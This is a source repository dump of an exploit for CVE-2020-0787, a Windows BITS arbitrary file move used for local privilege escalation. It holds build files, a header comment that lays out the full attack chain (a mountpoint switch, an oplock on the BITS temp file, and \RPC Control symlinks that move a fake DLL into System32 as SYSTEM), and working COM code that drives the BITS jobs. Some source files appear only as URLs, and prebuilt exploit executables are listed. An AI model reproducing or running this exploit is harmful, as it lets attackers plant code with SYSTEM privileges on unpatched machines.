├── BitsArbitraryFileMove.sln
├── BitsArbitraryFileMove.v12.suo
├── BitsArbitraryFileMove
├── BitsArbitraryFileMove.cpp
├── BitsArbitraryFileMove.h
├── BitsArbitraryFileMove.vcxproj
├── BitsArbitraryFileMove.vcxproj.filters
├── BitsArbitraryFileMove.vcxproj.user
├── CBitsCom.cpp
└── CBitsCom.h
├── BitsArbitraryFileMoveExploit
├── BitsArbitraryFileMoveExploit.cpp
├── BitsArbitraryFileMoveExploit.vcxproj
├── BitsArbitraryFileMoveExploit.vcxproj.filters
├── BitsArbitraryFileMoveExploit.vcxproj.user
└── resource.h
├── CommonUtils
├── CommonUtils.cpp
├── CommonUtils.h
├── CommonUtils.vcxproj
├── CommonUtils.vcxproj.filters
├── CommonUtils.vcxproj.user
├── DirectoryObject.cpp
├── FileOpLock.cpp
├── FileOpLock.h
├── FileSymlink.cpp
├── FileSymlink.h
├── Hardlink.cpp
├── NativeSymlink.cpp
├── RegistrySymlink.cpp
├── ReparsePoint.cpp
├── ReparsePoint.h
├── ScopedHandle.cpp
├── ScopedHandle.h
├── ntimports.h
├── stdafx.cpp
├── stdafx.h
├── targetver.h
└── typed_buffer.h
├── README.md
├── Release
└── BitsArbitraryFileMoveExploit.exe
├── index.gif
└── x64
└── Release
└── BitsArbitraryFileMoveExploit.exe
/BitsArbitraryFileMove.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30503.244
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BitsArbitraryFileMove", "BitsArbitraryFileMove\BitsArbitraryFileMove.vcxproj", "{36C758EB-8C26-4DD6-915E-7030275418A5}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CommonUtils", "CommonUtils\CommonUtils.vcxproj", "{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}"
9 | EndProject
10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BitsArbitraryFileMoveExploit", "BitsArbitraryFileMoveExploit\BitsArbitraryFileMoveExploit.vcxproj", "{279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}"
11 | EndProject
12 | Global
13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
14 | Debug|x64 = Debug|x64
15 | Debug|x86 = Debug|x86
16 | Release|x64 = Release|x64
17 | Release|x86 = Release|x86
18 | EndGlobalSection
19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
20 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x64.ActiveCfg = Debug|x64
21 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x64.Build.0 = Debug|x64
22 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x86.ActiveCfg = Debug|Win32
23 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x86.Build.0 = Debug|Win32
24 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x64.ActiveCfg = Release|x64
25 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x64.Build.0 = Release|x64
26 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x86.ActiveCfg = Release|Win32
27 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x86.Build.0 = Release|Win32
28 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x64.ActiveCfg = Debug|x64
29 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x86.ActiveCfg = Debug|Win32
30 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x86.Build.0 = Debug|Win32
31 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x64.ActiveCfg = Release|x64
32 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x64.Build.0 = Release|x64
33 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x86.ActiveCfg = Release|Win32
34 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x86.Build.0 = Release|Win32
35 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x64.ActiveCfg = Debug|x64
36 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x64.Build.0 = Debug|x64
37 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x86.ActiveCfg = Debug|Win32
38 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x86.Build.0 = Debug|Win32
39 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x64.ActiveCfg = Release|x64
40 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x64.Build.0 = Release|x64
41 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x86.ActiveCfg = Release|Win32
42 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x86.Build.0 = Release|Win32
43 | EndGlobalSection
44 | GlobalSection(SolutionProperties) = preSolution
45 | HideSolutionNode = FALSE
46 | EndGlobalSection
47 | GlobalSection(ExtensibilityGlobals) = postSolution
48 | SolutionGuid = {1114A180-4DB1-4FC6-8058-4018A3056CAA}
49 | EndGlobalSection
50 | EndGlobal
51 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMove.v12.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMove.v12.suo
--------------------------------------------------------------------------------
/BitsArbitraryFileMove/BitsArbitraryFileMove.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMove/BitsArbitraryFileMove.cpp
--------------------------------------------------------------------------------
/BitsArbitraryFileMove/BitsArbitraryFileMove.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | /*
4 | 0) Prepare workspace
5 | Create C:\workspace\
6 | Create C:\workspace\mountpoint\
7 | Create C:\workspace\bait\
8 | Create C:\workspace\FakeDll.dll
9 |
10 |
C:\workspace
11 | |__ mountpoint
12 | |__ redir
13 | |__ FakeDll.dll
14 |
15 | 1) Create a mountpoint
16 | C:\workspace\mountpoint\ -> C:\workspace\bait\
17 |
18 | 2) Create the group / job / add file / etc.
19 | LocalFile = C:\workspace\mountpoint\test.txt
20 |
21 | At this point, a tmp file should have been created with user impersonation
22 | C:\workspace\bait\BITD857.tmp
23 |
24 | 3) Set an oplock on the tmp file
25 | C:\workspace\bait\BITD857.tmp
26 |
27 | 4) Resume the job
28 | The oplock will be triggered on the write operation as user
29 |
30 | 5) Switch the mountpoint and create symlinks
31 | C:\workspace\mountpoint\ -> \RPC Control
32 | \RPC Control\BITD857.tmp -> \??\C:\workspace\FakeDll.dll
33 | \RPC Control\test.txt -> \??\C:\Windows\System32\FakeDll.dll
34 |
35 | 6) Release the oplock
36 | The MoveFileW operation should be done as System
37 | */
38 |
39 | #include
40 | #include
41 | #include
42 |
43 | #define DEBUG FALSE
44 | #define MAX_FILENAME 32
45 | #define MAX_MSG 1024
46 |
47 | class BitsArbitraryFileMove
48 | {
49 | private:
50 | BOOL m_bCustomSourceFile;
51 | WCHAR m_wszWorkspaceDirPath[MAX_PATH];
52 | WCHAR m_wszMountpointDirPath[MAX_PATH];
53 | WCHAR m_wszBaitDirPath[MAX_PATH];
54 | WCHAR m_wszSourceFilePath[MAX_PATH];
55 | WCHAR m_wszTargetFilePath[MAX_PATH];
56 | WCHAR m_wszBitsLocalFileName[MAX_FILENAME];
57 | WCHAR m_wszBitsTempFileName[MAX_FILENAME];
58 | WCHAR m_wszBitsTempFilePath[MAX_PATH];
59 |
60 | public:
61 | // Constructor / Destructor
62 | BitsArbitraryFileMove();
63 | ~BitsArbitraryFileMove();
64 |
65 | public:
66 | BOOL Run(LPCWSTR pwszDstFile); // e.g.: Destination="C:\Windows\System32\FakeDll.dll"
67 | BOOL Run(LPCWSTR pwszSrcFile, LPCWSTR pwszDstFile); // e.g.: Source="C:\Workspace\FakeDll.dll", Destination="C:\Windows\System32\FakeDll.dll"
68 | void PrintSuccess(LPCWSTR pwszMsg);
69 |
70 | private:
71 | BOOL PrepareWorkspace();
72 | BOOL WriteSourceFile();
73 | BOOL FindBitsTempFile();
74 | BOOL TargetFileExists();
75 | void CleanUp();
76 | };
77 |
78 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMove/BitsArbitraryFileMove.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {36C758EB-8C26-4DD6-915E-7030275418A5}
24 | Win32Proj
25 | BitsArbitraryFileMove
26 | 10.0
27 |
28 |
29 |
30 | StaticLibrary
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | StaticLibrary
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | StaticLibrary
44 | true
45 | v142
46 | Unicode
47 | Static
48 |
49 |
50 | StaticLibrary
51 | false
52 | v142
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | true
76 |
77 |
78 | true
79 |
80 |
81 | false
82 |
83 |
84 | false
85 |
86 |
87 |
88 |
89 |
90 | Level3
91 | Disabled
92 | true
93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
94 | true
95 | MultiThreaded
96 | ..\CommonUtils
97 |
98 |
99 | Console
100 | true
101 |
102 |
103 |
104 |
105 |
106 |
107 | Level3
108 | Disabled
109 | true
110 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
111 | true
112 |
113 |
114 | Console
115 | true
116 |
117 |
118 |
119 |
120 |
121 |
122 | Level3
123 | MaxSpeed
124 | true
125 | true
126 | true
127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
128 | true
129 | MultiThreaded
130 | ..\CommonUtils
131 |
132 |
133 | Console
134 | true
135 | true
136 | true
137 |
138 |
139 |
140 |
141 |
142 |
143 | TurnOffAllWarnings
144 | MaxSpeed
145 | true
146 | true
147 | true
148 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
149 | true
150 | MultiThreaded
151 |
152 |
153 | Console
154 | true
155 | true
156 | true
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 | {2aa6ab5e-18a8-49f4-b25d-587e8c3e4432}
170 |
171 |
172 |
173 |
174 |
175 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMove/BitsArbitraryFileMove.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Fichiers sources
20 |
21 |
22 | Fichiers sources
23 |
24 |
25 |
26 |
27 | Fichiers d%27en-tête
28 |
29 |
30 | Fichiers d%27en-tête
31 |
32 |
33 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMove/BitsArbitraryFileMove.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMove/CBitsCom.cpp:
--------------------------------------------------------------------------------
1 | #pragma warning(disable:4996)
2 | #include "CBitsCom.h"
3 |
4 | CBitsCom::CBitsCom()
5 | {
6 | HRESULT hRes;
7 |
8 | m_guidGroup = BITSCOM_GUID_GROUP;
9 | hRes = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
10 | hRes = CoCreateGuid(&m_guidJob);
11 | m_pUnkNewJobInterface = nullptr;
12 | }
13 |
14 | CBitsCom::~CBitsCom()
15 | {
16 | m_pUnkNewJobInterface = nullptr;
17 | m_pBackgroundCopyJob1->Release();
18 | m_pBackgroundCopyGroup->Release();
19 | m_pBackgroundCopyQMgr->Release();
20 | CoUninitialize();
21 | // NOTE: CoUninitialize() OK
22 | }
23 |
24 | DWORD CBitsCom::PrepareJob(LPCWSTR pwszJobLocalFilename)
25 | {
26 | HRESULT hRes;
27 |
28 | // --- Create an instance of BackgroundCopyQMgr ---
29 | //IBackgroundCopyQMgr* pBackgroundCopyQMgr;
30 |
31 | //hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&pBackgroundCopyQMgr);
32 | hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&m_pBackgroundCopyQMgr);
33 | if (FAILED(hRes))
34 | {
35 | wprintf(L"[-] CoCreateInstance() failed. HRESULT=0x%08Xd\n", hRes);
36 | return BITSCOM_ERR_COCREATEINSTANCE_BCQMGR;
37 | }
38 |
39 | if (DEBUG) { wprintf_s(L"[DEBUG] CoCreateInstance() OK\n"); }
40 |
41 |
42 | // --- Create a Group or use existing one ---
43 | OLECHAR* groupGuidStr;
44 | //IBackgroundCopyGroup* pBackgroundCopyGroup;
45 |
46 | hRes = StringFromCLSID(m_guidGroup, &groupGuidStr);
47 |
48 | if (DEBUG) { wprintf_s(L"[DEBUG] Using Group GUID %ls\n", groupGuidStr); }
49 |
50 | //hRes = pBackgroundCopyQMgr->GetGroup(m_guidGroup, &pBackgroundCopyGroup);
51 | //hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &pBackgroundCopyGroup);
52 | hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &m_pBackgroundCopyGroup);
53 | if (SUCCEEDED(hRes))
54 | {
55 | //hRes = pBackgroundCopyGroup->CancelGroup();
56 | hRes = m_pBackgroundCopyGroup->CancelGroup();
57 | if (FAILED(hRes))
58 | {
59 | wprintf(L"[-] IBackgroundCopyGroup->CancelGroup() failed.\n");
60 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
61 | return BITSCOM_ERR_CANCELGROUP;
62 | }
63 | }
64 |
65 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyGroup->CancelGroup() OK\n"); }
66 |
67 | //hRes = pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &pBackgroundCopyGroup);
68 | //hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &pBackgroundCopyGroup);
69 | hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &m_pBackgroundCopyGroup);
70 | if (FAILED(hRes))
71 | {
72 | wprintf(L"[-] IBackgroundCopyQMgr->CreateGroup() failed.\n");
73 | wprintf(L" |__ Group GUID = %ls\n", groupGuidStr);
74 | //wprintf(L" |__ IBackgroundCopyGroup = %p\n", (void*)pBackgroundCopyGroup);
75 | wprintf(L" |__ IBackgroundCopyGroup = %p\n", (void*)m_pBackgroundCopyGroup);
76 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
77 | return BITSCOM_ERR_CREATEGROUP;
78 | }
79 |
80 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyQMgr->CreateGroup() OK\n"); }
81 |
82 |
83 | // --- Create a Job ---
84 | OLECHAR* jobGuidStr;
85 | //IBackgroundCopyJob1* backgroundCopyJob1;
86 |
87 | hRes = StringFromCLSID(m_guidJob, &jobGuidStr);
88 |
89 | if (DEBUG) { wprintf_s(L"[DEBUG] Using Job GUID %ls\n", jobGuidStr); }
90 |
91 | //hRes = pBackgroundCopyGroup->CreateJob(m_guidJob, &backgroundCopyJob1);
92 | //hRes = pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1);
93 | hRes = m_pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1);
94 | if (FAILED(hRes))
95 | {
96 | wprintf(L"[-] IBackgroundCopyGroup->CreateJob() failed.\n");
97 | wprintf(L" |__ Job GUID = %ls\n", jobGuidStr);
98 | //wprintf(L" |__ IBackgroundCopyJob1 = %p\n", (void *)backgroundCopyJob1);
99 | wprintf(L" |__ IBackgroundCopyJob1 = %p\n", (void *)m_pBackgroundCopyJob1);
100 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
101 | return BITSCOM_ERR_CREATEJOB;
102 | }
103 |
104 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyGroup->CreateJob() OK\n"); }
105 |
106 |
107 | // --- Add file to job ---
108 | FILESETINFO fileSetInfo;
109 | BSTR bstrRemoteFile = SysAllocString(L"\\\\127.0.0.1\\C$\\Windows\\System32\\drivers\\etc\\hosts");
110 | BSTR bstrLocalFile = SysAllocString(pwszJobLocalFilename);
111 |
112 | fileSetInfo.bstrRemoteFile = bstrRemoteFile;
113 | fileSetInfo.bstrLocalFile = bstrLocalFile;
114 |
115 | FILESETINFO* fileSetInfoArray = (FILESETINFO*)malloc(1 * sizeof(FILESETINFO));
116 | if (!fileSetInfoArray)
117 | {
118 | SysFreeString(bstrRemoteFile);
119 | SysFreeString(bstrLocalFile);
120 | wprintf(L"[-] malloc() failed (Err: %d).\n", GetLastError());
121 | return BITSCOM_ERR_ALLOC_FILESETINFO;
122 | }
123 |
124 | fileSetInfoArray[0] = fileSetInfo;
125 |
126 | //hRes = backgroundCopyJob1->AddFiles(1, &fileSetInfoArray);
127 | hRes = m_pBackgroundCopyJob1->AddFiles(1, &fileSetInfoArray);
128 | if (FAILED(hRes))
129 | {
130 | wprintf(L"[-] IBackgroundCopyJob1->AddFiles() failed.\n");
131 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
132 | free(fileSetInfoArray);
133 | SysFreeString(bstrRemoteFile);
134 | SysFreeString(bstrLocalFile);
135 | return BITSCOM_ERR_ALLOC_ADDFILES;
136 | }
137 |
138 | free(fileSetInfoArray);
139 | SysFreeString(bstrRemoteFile);
140 | SysFreeString(bstrLocalFile);
141 |
142 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob1->AddFiles() OK\n"); }
143 |
144 | return BITSCOM_ERR_SUCCESS;
145 | }
146 |
147 | DWORD CBitsCom::ResumeJob()
148 | {
149 | HRESULT hRes;
150 |
151 | // --- Query new job interface ---
152 | hRes = m_pBackgroundCopyGroup->QueryNewJobInterface(__uuidof(IBackgroundCopyJob), &m_pUnkNewJobInterface);
153 | if (FAILED(hRes))
154 | {
155 | wprintf(L"[-] IBackgroundCopyJob1->QueryNewJobInterface() failed.\n");
156 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
157 | return BITSCOM_ERR_QUERYNEWJOBINTERFACE;
158 | }
159 |
160 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob1->QueryNewJobInterface() OK"); }
161 |
162 | CComQIPtr pBackgrounCopyJob(m_pUnkNewJobInterface);
163 | if (!pBackgrounCopyJob)
164 | {
165 | wprintf(L"[-] Interface pointer cast failed.\n");
166 | return BITSCOM_ERR_JOBINTERFACECAST;
167 | }
168 |
169 |
170 | // --- Resume job ---
171 | hRes = pBackgrounCopyJob->Resume();
172 | if (FAILED(hRes))
173 | {
174 | wprintf(L"[-] IBackgroundCopyJob->Resume() failed. HRESULT=0x%08X\n", hRes);
175 | return BITSCOM_ERR_RESUMEJOB;
176 | }
177 |
178 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob->Resume() OK"); }
179 |
180 |
181 | return BITSCOM_ERR_SUCCESS;
182 | }
183 |
184 | DWORD CBitsCom::CompleteJob()
185 | {
186 | HRESULT hRes;
187 |
188 | // --- Check whether we have a valid interface pointer ---
189 | if (m_pUnkNewJobInterface == nullptr)
190 | {
191 | wprintf(L"[-] New job interface pointer is null.\n");
192 | return BITSCOM_ERR_NEWJOBINTERFACEISNULL;
193 | }
194 |
195 |
196 | // --- Cast interface poiter to IBackgroundCopyJob ---
197 | CComQIPtr pBackgrounCopyJob(m_pUnkNewJobInterface);
198 | if (!pBackgrounCopyJob)
199 | {
200 | wprintf(L"[-] Interface pointer cast failed.\n");
201 | return BITSCOM_ERR_JOBINTERFACECAST;
202 | }
203 |
204 |
205 | // --- Monitor job state ---
206 | DWORD dwJobState = -1;
207 | DWORD dwMaxAttempts = 10;
208 |
209 | do {
210 | BG_JOB_STATE bgJobStateCurrent;
211 |
212 | hRes = pBackgrounCopyJob->GetState(&bgJobStateCurrent);
213 | if (FAILED(hRes))
214 | {
215 | wprintf(L"[-] IBackgroundCopyJob->GetState() failed.\n");
216 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
217 | }
218 |
219 | if (bgJobStateCurrent != dwJobState)
220 | {
221 | WCHAR bgJobStateName[MAX_JOBSTATE_NAME];
222 | ZeroMemory(bgJobStateName, MAX_JOBSTATE_NAME * sizeof(WCHAR));
223 | GetJobStateName(bgJobStateCurrent, bgJobStateName);
224 |
225 | wprintf(L"[*] Job state: %ls\n", bgJobStateName);
226 | dwJobState = bgJobStateCurrent;
227 | }
228 |
229 | dwMaxAttempts--;
230 | Sleep(1000);
231 | } while (dwJobState != BG_JOB_STATE_TRANSFERRED && dwMaxAttempts != 0);
232 |
233 | // If job state isn't BG_JOB_STATE_TRANSFERRED, the job failed
234 | if (dwJobState != BG_JOB_STATE_TRANSFERRED)
235 | {
236 | return BITSCOM_ERR_JOB;
237 | }
238 |
239 | // --- Complete job ---
240 | hRes = pBackgrounCopyJob->Complete();
241 | if (FAILED(hRes))
242 | {
243 | wprintf(L"[-] IBackgroundCopyJob->Complete() failed.\n");
244 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
245 | return BITSCOM_ERR_COMPLETEJOB;
246 | }
247 |
248 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob->Complete() OK\n"); }
249 |
250 | return BITSCOM_ERR_SUCCESS;
251 | }
252 |
253 | BOOL CBitsCom::GetJobStateName(BG_JOB_STATE bgJobState, LPWSTR pwszJobName)
254 | {
255 | const WCHAR* res;
256 | BOOL bRes = TRUE;
257 |
258 | switch (bgJobState)
259 | {
260 | case BG_JOB_STATE_QUEUED:
261 | res = L"BG_JOB_STATE_QUEUED";
262 | break;
263 | case BG_JOB_STATE_CONNECTING:
264 | res = L"BG_JOB_STATE_CONNECTING";
265 | break;
266 | case BG_JOB_STATE_TRANSFERRING:
267 | res = L"BG_JOB_STATE_TRANSFERRING";
268 | break;
269 | case BG_JOB_STATE_SUSPENDED:
270 | res = L"BG_JOB_STATE_SUSPENDED";
271 | break;
272 | case BG_JOB_STATE_ERROR:
273 | res = L"BG_JOB_STATE_ERROR";
274 | break;
275 | case BG_JOB_STATE_TRANSIENT_ERROR:
276 | res = L"BG_JOB_STATE_TRANSIENT_ERROR";
277 | break;
278 | case BG_JOB_STATE_TRANSFERRED:
279 | res = L"BG_JOB_STATE_TRANSFERRED";
280 | break;
281 | case BG_JOB_STATE_ACKNOWLEDGED:
282 | res = L"BG_JOB_STATE_ACKNOWLEDGED";
283 | break;
284 | case BG_JOB_STATE_CANCELLED:
285 | res = L"BG_JOB_STATE_CANCELLED";
286 | break;
287 | default:
288 | res = L"UNKNOWN";
289 | bRes = FALSE;
290 | }
291 |
292 | swprintf_s(pwszJobName, MAX_JOBSTATE_NAME, L"%ls", res);
293 |
294 | return bRes;
295 | }
296 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMove/CBitsCom.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #define DEBUG FALSE
11 | #define BITSCOM_GUID_GROUP { 0x63B45B2D, 0xA84B, 0x463E, { 0x9C, 0xD4, 0xC0, 0x48, 0xC1, 0xBF, 0x9E, 0x72 } }
12 | #define MAX_JOBSTATE_NAME 64
13 |
14 | enum PrepareJobError
15 | {
16 | BITSCOM_ERR_SUCCESS,
17 | BITSCOM_ERR_COCREATEINSTANCE_BCQMGR,
18 | BITSCOM_ERR_CREATEGROUP,
19 | BITSCOM_ERR_GETGROUP,
20 | BITSCOM_ERR_CANCELGROUP,
21 | BITSCOM_ERR_CREATEJOB,
22 | BITSCOM_ERR_GETJOB,
23 | BITSCOM_ERR_RESUMEJOB,
24 | BITSCOM_ERR_JOB,
25 | BITSCOM_ERR_COMPLETEJOB,
26 | BITSCOM_ERR_ALLOC_FILESETINFO,
27 | BITSCOM_ERR_ALLOC_ADDFILES,
28 | BITSCOM_ERR_QUERYNEWJOBINTERFACE,
29 | BITSCOM_ERR_JOBINTERFACECAST,
30 | BITSCOM_ERR_NEWJOBINTERFACEISNULL
31 | };
32 |
33 | class CBitsCom
34 | {
35 | private:
36 | GUID m_guidGroup;
37 | GUID m_guidJob;
38 | IBackgroundCopyQMgr* m_pBackgroundCopyQMgr;
39 | IBackgroundCopyGroup* m_pBackgroundCopyGroup;
40 | IBackgroundCopyJob1* m_pBackgroundCopyJob1;
41 | CComPtr m_pUnkNewJobInterface;
42 |
43 | public:
44 | CBitsCom();
45 | ~CBitsCom();
46 |
47 | public:
48 | DWORD PrepareJob(LPCWSTR pwszJobLocalFilename);
49 | DWORD ResumeJob();
50 | DWORD CompleteJob();
51 |
52 | private:
53 | BOOL GetJobStateName(BG_JOB_STATE bgJobState, LPWSTR pwszJobName);
54 | };
55 |
56 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.cpp
--------------------------------------------------------------------------------
/BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}
24 | Win32Proj
25 | BitsArbitraryFileMoveExploit
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 | Static
48 |
49 |
50 | Application
51 | false
52 | v142
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | false
76 |
77 |
78 | true
79 |
80 |
81 | true
82 |
83 |
84 | false
85 |
86 |
87 |
88 |
89 |
90 | Level3
91 | MaxSpeed
92 | true
93 | true
94 | true
95 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
96 | false
97 | ..\BitsArbitraryFileMove;..\UsoDllLoader
98 | MultiThreaded
99 |
100 |
101 | Console
102 | true
103 | true
104 | false
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 | Level3
114 | Disabled
115 | true
116 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
117 | true
118 | ..\BitsArbitraryFileMove;..\UsoDllLoader
119 | MultiThreaded
120 |
121 |
122 | Console
123 | true
124 |
125 |
126 |
127 |
128 |
129 |
130 | Level3
131 | Disabled
132 | true
133 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
134 | true
135 |
136 |
137 | Console
138 | true
139 | $(SolutionDir)x64\Debug\BitsArbitraryFileMove.lib;$(SolutionDir)x64\Debug\CommonUtils.lib;AdvApi32.lib
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 | TurnOffAllWarnings
149 | MaxSpeed
150 | true
151 | true
152 | true
153 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
154 | false
155 | MultiThreaded
156 |
157 |
158 | Console
159 | true
160 | true
161 | false
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 | {36c758eb-8c26-4dd6-915e-7030275418a5}
173 |
174 |
175 |
176 |
177 |
178 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Fichiers sources
20 |
21 |
22 |
23 |
24 | Fichiers d%27en-tête
